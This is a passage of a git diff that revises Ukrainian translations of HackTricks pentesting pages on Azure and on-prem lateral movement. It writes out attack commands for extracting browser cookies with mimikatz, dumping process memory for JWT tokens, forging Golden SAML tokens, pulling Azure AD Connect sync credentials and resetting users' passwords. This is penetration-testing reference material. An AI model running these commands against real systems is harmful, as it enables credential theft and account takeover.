користувачем](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), до яких належать куки. Ви можете знайти більше інформації про це в: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -З Mimikatz в руках, я можу **екстрагувати куки користувача**, навіть якщо вони зашифровані, за допомогою цієї команди: +З Mimikatz в руках, я можу **екстрактувати куки користувача**, навіть якщо вони зашифровані, за допомогою цієї команди: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 048801539..fb43a611d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Перегляньте пост на** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) хоча інший пост, що пояснює те ж саме, можна знайти за посиланням [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Перегляньте пост за адресою** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) хоча інший пост, що пояснює те ж саме, можна знайти за адресою [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 217a5fc91..c09035986 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,12 +4,12 @@ ## **Основна інформація** -Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому тексті в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep для JWT токенів** може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA. +Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому вигляді в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep для JWT токенів** може надати вам доступ до кількох ресурсів жертви в хмарі, обминаючи MFA. Кроки: -1. Дамп процесів Excel, синхронізованих з користувачем EntraID, за допомогою вашого улюбленого інструменту. -2. Виконайте: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході +1. Дампуйте процеси Excel, синхронізовані з користувачем EntraID, за допомогою вашого улюбленого інструменту. +2. Запустіть: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході 3. Знайдіть токени, які вас найбільше цікавлять, і запустіть інструменти над ними: ```bash # Check the identity of the token @@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Зверніть увагу, що такі токени доступу також можуть бути знайдені всередині інших процесів.** +**Зверніть увагу, що такі типи токенів доступу також можна знайти всередині інших процесів.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 61203bc9e..6fb770cd3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -8,21 +8,21 @@ ### Довіра -Коли встановлюється довіра з Azure AD, **створюється контролер домену тільки для читання (RODC) в AD.** **Обліковий запис комп'ютера RODC**, названий **`AzureADKerberos$`**. Також є вторинний обліковий запис `krbtgt`, названий **`krbtgt_AzureAD`**. Цей обліковий запис містить **ключі Kerberos**, які використовуються для квитків, що створює Azure AD. +Коли встановлюється довіра з Azure AD, **створюється контролер домену тільки для читання (RODC) в AD.** **Обліковий запис комп'ютера RODC** називається **`AzureADKerberos$`**. Також є вторинний обліковий запис `krbtgt`, названий **`krbtgt_AzureAD`**. Цей обліковий запис містить **ключі Kerberos**, які використовуються для квитків, що створює Azure AD. Отже, якщо цей обліковий запис буде скомпрометовано, може бути можливим видавати себе за будь-якого користувача... хоча це не зовсім вірно, оскільки цьому обліковому запису заборонено створювати квитки для будь-якої загальної привілейованої групи AD, такої як Domain Admins, Enterprise Admins, Administrators... > [!CAUTION] -> Однак у реальному сценарії будуть привілейовані користувачі, які не входять до цих груп. Тому **новий обліковий запис krbtgt, якщо буде скомпрометовано, може бути використаний для видавання себе за них.** +> Однак у реальному сценарії будуть привілейовані користувачі, які не входять до цих груп. Тому **новий обліковий запис krbtgt, якщо буде скомпрометований, може бути використаний для видавання себе за них.** ### Kerberos TGT -Більше того, коли користувач аутентифікується в Windows, використовуючи гібридну ідентичність, **Azure AD видасть частковий квиток Kerberos разом з PRT.** TGT є частковим, оскільки **AzureAD має обмежену інформацію** про користувача в локальному AD (таку як ідентифікатор безпеки (SID) та ім'я).\ +Більше того, коли користувач аутентифікується в Windows, використовуючи гібридну ідентичність, **Azure AD** видасть **частковий квиток Kerberos разом з PRT.** TGT є частковим, оскільки **AzureAD має обмежену інформацію** про користувача в on-prem AD (таку як ідентифікатор безпеки (SID) та ім'я).\ Windows може потім **обміняти цей частковий TGT на повний TGT**, запитуючи квиток служби для служби `krbtgt`. ### NTLM -Оскільки можуть бути служби, які не підтримують аутентифікацію Kerberos, а лише NTLM, можливо запитати **частковий TGT, підписаний за допомогою вторинного ключа `krbtgt`**, включаючи поле **`KERB-KEY-LIST-REQ`** у частині **PADATA** запиту, а потім отримати повний TGT, підписаний первинним ключем `krbtgt`, **включаючи NT хеш у відповіді**. +Оскільки можуть бути служби, які не підтримують аутентифікацію Kerberos, але підтримують NTLM, можливо запитати **частковий TGT, підписаний за допомогою вторинного ключа `krbtgt`**, включаючи поле **`KERB-KEY-LIST-REQ`** у частині **PADATA** запиту, а потім отримати повний TGT, підписаний первинним ключем `krbtgt`, **включаючи NT хеш у відповіді**. ## Зловживання Cloud Kerberos Trust для отримання прав Domain Admin @@ -37,8 +37,8 @@ Windows може потім **обміняти цей частковий TGT н Успіх атаки та отримання привілеїв Domain Admin залежать від виконання певних передумов: - Можливість змінювати облікові записи через Synchronization API є критично важливою. Це можна досягти, маючи роль Глобального адміністратора або володіючи обліковим записом синхронізації AD Connect. Альтернативно, роль адміністратора гібридної ідентичності також підійде, оскільки вона надає можливість керувати AD Connect і створювати нові облікові записи синхронізації. -- Наявність **гібридного облікового запису** є необхідною. Цей обліковий запис повинен бути придатним для зміни з деталями облікового запису жертви і також повинен бути доступним для аутентифікації. -- Ідентифікація **цільового облікового запису жертви** в Active Directory є необхідністю. Хоча атаку можна виконати на будь-якому обліковому записі, який вже синхронізовано, тенант Azure AD не повинен мати реплікованих локальних ідентифікаторів безпеки, що вимагає зміни не синхронізованого облікового запису для отримання квитка. +- Наявність **гібридного облікового запису** є необхідною. Цей обліковий запис повинен бути готовим до зміни з деталями облікового запису жертви та також повинен бути доступним для аутентифікації. +- Ідентифікація **цільового облікового запису жертви** в Active Directory є необхідністю. Хоча атаку можна виконати на будь-якому обліковому записі, який вже синхронізовано, орендар Azure AD не повинен мати реплікованих ідентифікаторів безпеки on-prem, що вимагає зміни не синхронізованого облікового запису для отримання квитка. - Крім того, цей обліковий запис повинен мати еквівалентні привілеї адміністратора домену, але не повинен бути членом типових груп адміністраторів AD, щоб уникнути генерації недійсних TGT AzureAD RODC. - Найбільш підходящою ціллю є **обліковий запис Active Directory, що використовується службою синхронізації AD Connect**. Цей обліковий запис не синхронізується з Azure AD, залишаючи його SID як життєздатну ціль, і він за своєю суттю має еквівалентні привілеї адміністратора домену через свою роль у синхронізації хешів паролів (за умови, що синхронізація хешів паролів активна). Для доменів з експрес-встановленням цей обліковий запис має префікс **MSOL\_**. Для інших випадків обліковий запис можна визначити, перерахувавши всі облікові записи, наділені привілеями реплікації каталогу на об'єкті домену. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 41456ea00..de24db151 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -4,6 +4,6 @@ **Перевірте техніку на:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) та [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -У блозі обговорюється вразливість ескалації привілеїв в Azure AD, що дозволяє адміністраторам додатків або скомпрометованим обліковим записам синхронізації On-Premise підвищувати привілеї, призначаючи облікові дані додаткам. Вразливість, що виникає через "дизайнерську" поведінку Azure AD у обробці додатків та службових принципів, особливо впливає на стандартні додатки Office 365. Хоча проблема була повідомлена, Microsoft не вважає її вразливістю через документування поведінки призначення адміністративних прав. Пост надає детальні технічні відомості та радить регулярно переглядати облікові дані службових принципів в середовищах Azure AD. Для отримання більш детальної інформації ви можете відвідати оригінальний блог. +У блозі обговорюється вразливість підвищення привілеїв в Azure AD, яка дозволяє адміністраторам додатків або скомпрометованим обліковим записам синхронізації On-Premise підвищувати привілеї, призначаючи облікові дані додаткам. Вразливість, що виникає через "дизайнерську" поведінку Azure AD у обробці додатків та службових принципів, особливо впливає на стандартні додатки Office 365. Хоча проблема була повідомлена, Microsoft не вважає її вразливістю через документування поведінки призначення адміністративних прав. Пост надає детальні технічні відомості та радить регулярно переглядати облікові дані службових принципів в середовищах Azure AD. Для отримання більш детальної інформації ви можете відвідати оригінальний блог. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 8ba458278..bb33f956b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Синхронізація користувачів AzureAD до on-prem для ескалації з on-prem до AzureAD +## Синхронізація користувачів AzureAD з on-prem для ескалації з on-prem до AzureAD Щоб синхронізувати нового користувача з **AzureAD до on-prem AD**, необхідні такі вимоги: @@ -19,7 +19,7 @@ Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, prox > [!CAUTION] > Зверніть увагу, що для виконання цієї атаки вам **не потрібен Domain Admin**, вам просто потрібні права для **створення нових користувачів**. > -> Також, це **не обійде MFA**. +> Крім того, це **не обійде MFA**. > > Більше того, було повідомлено, що **синхронізація облікових записів більше не можлива для облікових записів адміністраторів**. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 29106d626..a9aa9e14e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -1,16 +1,16 @@ -# Az - Federation +# Az - Федерація {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Федерація** - це колекція **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **аутентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів. +[З документів:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Федерація** - це колекція **доменів**, які встановили **довіру**. Рівень довіри може варіюватися, але зазвичай включає **аутентифікацію** і майже завжди включає **авторизацію**. Типова федерація може включати **кілька організацій**, які встановили **довіру** для **спільного доступу** до набору ресурсів. -Ви можете **федеративно з'єднати ваше локальне** середовище **з Azure AD** і використовувати цю федерацію для аутентифікації та авторизації. Цей метод входу забезпечує, що вся **аутентифікація користувачів відбувається на місці**. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з **AD FS** та PingFederate доступна. +Ви можете **федеративно з'єднати ваше локальне** середовище **з Azure AD** і використовувати цю федерацію для аутентифікації та авторизації. Цей метод входу забезпечує, що вся **аутентифікація користувачів відбувається локально**. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з **AD FS** та PingFederate доступна.
-В основному, у Федерації вся **аутентифікація** відбувається в **локальному** середовищі, і користувач отримує SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** **хмарні** додатки, використовуючи свої **локальні облікові дані**. +В основному, у Федерації вся **аутентифікація** відбувається в **локальному** середовищі, і користувачі отримують SSO у всіх довірених середовищах. Тому користувачі можуть **доступати** **хмарні** додатки, використовуючи свої **локальні облікові дані**. **Мова розмітки безпеки (SAML)** використовується для **обміну** всією інформацією про аутентифікацію та авторизацію між постачальниками. @@ -25,9 +25,9 @@
1. Спочатку користувач отримує доступ до програми (Постачальник послуг або SP, наприклад, консоль AWS або веб-клієнт vSphere). Цей крок може бути пропущений, що призводить до безпосереднього переходу клієнта до IdP (Постачальник ідентичності) залежно від конкретної реалізації. -2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для аутентифікації користувача. Потім він формує SAML (Мова розмітки безпеки) AuthnRequest і перенаправляє клієнта до вибраного IdP. +2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для аутентифікації користувача. Потім він формує запит SAML (Мова розмітки безпеки) AuthnRequest і перенаправляє клієнта до вибраного IdP. 3. IdP бере на себе аутентифікацію користувача. Після аутентифікації IdP формує SAMLResponse і пересилає його до SP через користувача. -4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що означає довірчі відносини з IdP, користувачу надається доступ. Це завершує процес входу, дозволяючи користувачу використовувати сервіс. +4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що означає довірчі відносини з IdP, користувачу надається доступ. Це позначає завершення процесу входу, що дозволяє користувачу використовувати сервіс. **Якщо ви хочете дізнатися більше про аутентифікацію SAML та поширені атаки, перейдіть за посиланням:** @@ -35,13 +35,13 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -## Pivoting +## Півтування - AD FS є моделлю ідентичності на основі заяв. -- "..заяви - це просто твердження (наприклад, ім'я, ідентичність, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих будь-де в Інтернеті." +- "..заяви - це просто твердження (наприклад, ім'я, особа, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих де завгодно в Інтернеті." - Заяви для користувача записуються всередині SAML токенів і потім підписуються для забезпечення конфіденційності IdP. - Користувач ідентифікується за допомогою ImmutableID. Він є глобально унікальним і зберігається в Azure AD. -- ImmutableID зберігається на місці як ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача. +- ImmutableID зберігається локально як ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача. - Більше інформації в [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Атака Golden SAML:** @@ -54,22 +54,22 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ### Golden SAML -Процес, в якому **Постачальник ідентичності (IdP)** генерує **SAMLResponse** для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, **відповідь** може бути **підписана** або **зашифрована** за допомогою **приватного ключа IdP**. Ця процедура дозволяє **Постачальнику послуг (SP)** підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP. +Процес, у якому **Постачальник ідентичності (IdP)** генерує **SAMLResponse** для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, **відповідь** може бути **підписана** або **зашифрована** за допомогою **приватного ключа IdP**. Ця процедура дозволяє **Постачальнику послуг (SP)** підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP. -Можна провести паралель з [атакою золотого квитка](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), де ключ, що аутентифікує ідентичність і дозволи користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для **підробки об'єкта аутентифікації** (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP. +Можна провести паралель з [атакою золотого квитка](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), де ключ, що аутентифікує особу та права користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для **підробки об'єкта аутентифікації** (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP. Золоті SAML мають певні переваги: -- Їх можна **створити віддалено**, без необхідності бути частиною домену або федерації. +- Вони можуть бути **створені віддалено**, без необхідності бути частиною домену або федерації. - Вони залишаються ефективними навіть при **включеній двофакторній аутентифікації (2FA)**. - Приватний ключ підпису токенів **не оновлюється автоматично**. - **Зміна пароля користувача не анулює** вже згенерований SAML. #### AWS + AD FS + Golden SAML -[Служби федерації Active Directory (AD FS)]() - це служба Microsoft, яка полегшує **безпечний обмін інформацією про ідентичність** між довіреними бізнес-партнерами (федерація). Вона в основному дозволяє доменній службі ділитися ідентичностями користувачів з іншими постачальниками послуг у федерації. +[Служби федерації Active Directory (AD FS)]() - це служба Microsoft, яка полегшує **безпечний обмін інформацією про особу** між довіреними бізнес-партнерами (федерація). Вона дозволяє службі домену ділитися ідентичностями користувачів з іншими постачальниками послуг у федерації. -З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких дозволів у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису SAML об'єктів**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа. +З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного **отримання будь-яких прав у середовищі AWS**. Атака вимагає **приватного ключа, що використовується для підпису SAML об'єктів**, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа. Вимоги для виконання атаки Golden SAML включають: @@ -81,9 +81,9 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks - Ім'я сесії ролі в AWS - Ідентифікатор облікового запису Amazon -_Тільки елементи, виділені жирним шрифтом, є обов'язковими. Інші можна заповнити за бажанням._ +_Тільки елементи, виділені жирним, є обов'язковими. Інші можуть бути заповнені за бажанням._ -Щоб отримати **приватний ключ**, необхідний доступ до **облікового запису користувача AD FS**. Звідти приватний ключ можна **експортувати з особистого сховища** за допомогою таких інструментів, як [mimikatz](https://github.com/gentilkiwi/mimikatz). Щоб зібрати іншу необхідну інформацію, ви можете використовувати Microsoft.Adfs.Powershell snapin наступним чином, переконавшись, що ви увійшли як користувач ADFS: +Щоб отримати **приватний ключ**, необхідний доступ до **облікового запису користувача AD FS**. Звідти приватний ключ можна **експортувати з особистого сховища** за допомогою таких інструментів, як [mimikatz](https://github.com/gentilkiwi/mimikatz). Щоб зібрати іншу необхідну інформацію, ви можете використовувати модуль Microsoft.Adfs.Powershell наступним чином, переконавшись, що ви увійшли як користувач ADFS: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - ```
-### Локально -> хмара +### На місці -> хмара ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -145,7 +145,7 @@ Export-AADIntADFSSigningCertificate # Impersonate the user Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose ``` -## References +## Посилання - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed) - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index c15844baf..265010abd 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -2,42 +2,42 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація [З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Синхронізація хешів паролів** є одним із методів входу, що використовується для досягнення гібридної ідентичності. **Azure AD Connect** синхронізує хеш, хешу, пароля користувача з локальної інстанції Active Directory до хмарної інстанції Azure AD.
-Це **найпоширеніший метод**, що використовується компаніями для синхронізації локального AD з Azure AD. +Це **найпоширеніший метод**, який використовують компанії для синхронізації локального AD з Azure AD. -Всі **користувачі** та **хеш паролів** синхронізуються з локального AD до Azure AD. Однак, **паролі в чистому вигляді** або **оригінальні** **хеші** не надсилаються до Azure AD.\ +Всі **користувачі** та **хеш паролів** синхронізуються з локального AD до Azure AD. Однак, **паролі у відкритому тексті** або **оригінальні** **хеші** не надсилаються до Azure AD.\ Більше того, **вбудовані** групи безпеки (як-от адміністратори домену...) **не синхронізуються** з Azure AD. -**Синхронізація хешів** відбувається кожні **2 хвилини**. Однак, за замовчуванням, **терміни дії паролів** та **терміни дії облікових записів** **не синхронізуються** в Azure AD. Тому користувач, чий **локальний пароль прострочений** (не змінений), може продовжувати **доступ до ресурсів Azure** за допомогою старого пароля. +**Синхронізація хешів** відбувається кожні **2 хвилини**. Однак, за замовчуванням, **терміни дії паролів** та **акаунтів** **не синхронізуються** в Azure AD. Тому користувач, чий **локальний пароль прострочений** (не змінений), може продовжувати **доступ до ресурсів Azure** за допомогою старого пароля. Коли локальний користувач хоче отримати доступ до ресурсу Azure, **автентифікація відбувається в Azure AD**. -**PHS** потрібен для функцій, таких як **Захист ідентичності** та AAD Domain Services. +**PHS** є необхідним для функцій, таких як **Захист ідентичності** та AAD Domain Services. -## Pivoting +## Півотування -Коли PHS налаштовано, деякі **привілейовані облікові записи** автоматично **створюються**: +Коли PHS налаштовано, деякі **привілейовані акаунти** автоматично **створюються**: -- Обліковий запис **`MSOL_`** автоматично створюється в локальному AD. Цьому обліковому запису надається роль **Облікові записи синхронізації каталогу** (див. [документацію](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **дозволи на реплікацію (DCSync) в локальному AD**. -- Обліковий запис **`Sync__installationID`** створюється в Azure AD. Цей обліковий запис може **скидати пароль будь-якого користувача** (синхронізованого або лише хмарного) в Azure AD. +- Акаунт **`MSOL_`** автоматично створюється в локальному AD. Цей акаунт отримує роль **Акаунтів синхронізації директорії** (див. [документацію](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **дозволи на реплікацію (DCSync) в локальному AD**. +- Акаунт **`Sync__installationID`** створюється в Azure AD. Цей акаунт може **скидати пароль будь-якого користувача** (синхронізованого або лише хмарного) в Azure AD. -Паролі двох попередніх привілейованих облікових записів **зберігаються в SQL сервері** на сервері, де **встановлено Azure AD Connect.** Адміністратори можуть витягувати паролі цих привілейованих користувачів у чистому вигляді.\ +Паролі двох попередніх привілейованих акаунтів **зберігаються на SQL сервері** на сервері, де **встановлено Azure AD Connect.** Адміністратори можуть витягувати паролі цих привілейованих користувачів у відкритому тексті.\ База даних розташована в `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. Можливо витягти конфігурацію з однієї з таблиць, одна з яких зашифрована: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в локальному AD та пароль **Sync\_\*** в AzureAD. Тому, компрометуючи ці дані, можна підвищити привілеї до AD та AzureAD. +**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в локальному AD та пароль **Sync\_\*** в AzureAD. Тому, компрометуючи їх, можна підвищити привілеї до AD та AzureAD. Ви можете знайти [повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Finding the **Azure AD connect server** +### Знаходження **сервера Azure AD connect** Якщо **сервер, на якому встановлено Azure AD connect**, приєднаний до домену (рекомендується в документації), його можна знайти за допомогою: ```powershell @@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Зловживання MSOL\_\* +### Зловживання MSOL\_* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це неочікувано) +Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це несподівано) ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -91,14 +91,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -Цілком можливо вивантажити пароль цього користувача. +Також можливо скинути пароль цього користувача. > [!CAUTION] -> Іншим варіантом було б **призначити привілейовані дозволи службі**, що **Sync** користувач має **дозволи** робити, а потім **отримати доступ до цієї служби** як спосіб підвищення привілеїв. +> Інший варіант полягає в тому, щоб **призначити привілейовані дозволи службовому принципалу**, що **Sync** користувач має **дозволи** на це, а потім **отримати доступ до цього службового принципалу** як спосіб підвищення привілеїв. -### Безшовний SSO +### Seamless SSO -Можливо використовувати безшовний SSO з PHS, який вразливий до інших зловживань. Перевірте це в: +Можливо використовувати Seamless SSO з PHS, який вразливий до інших зловживань. Перевірте це в: {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 45595e56a..e57976ffa 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -8,21 +8,21 @@ az-primary-refresh-token-prt.md {{#endref}} -### 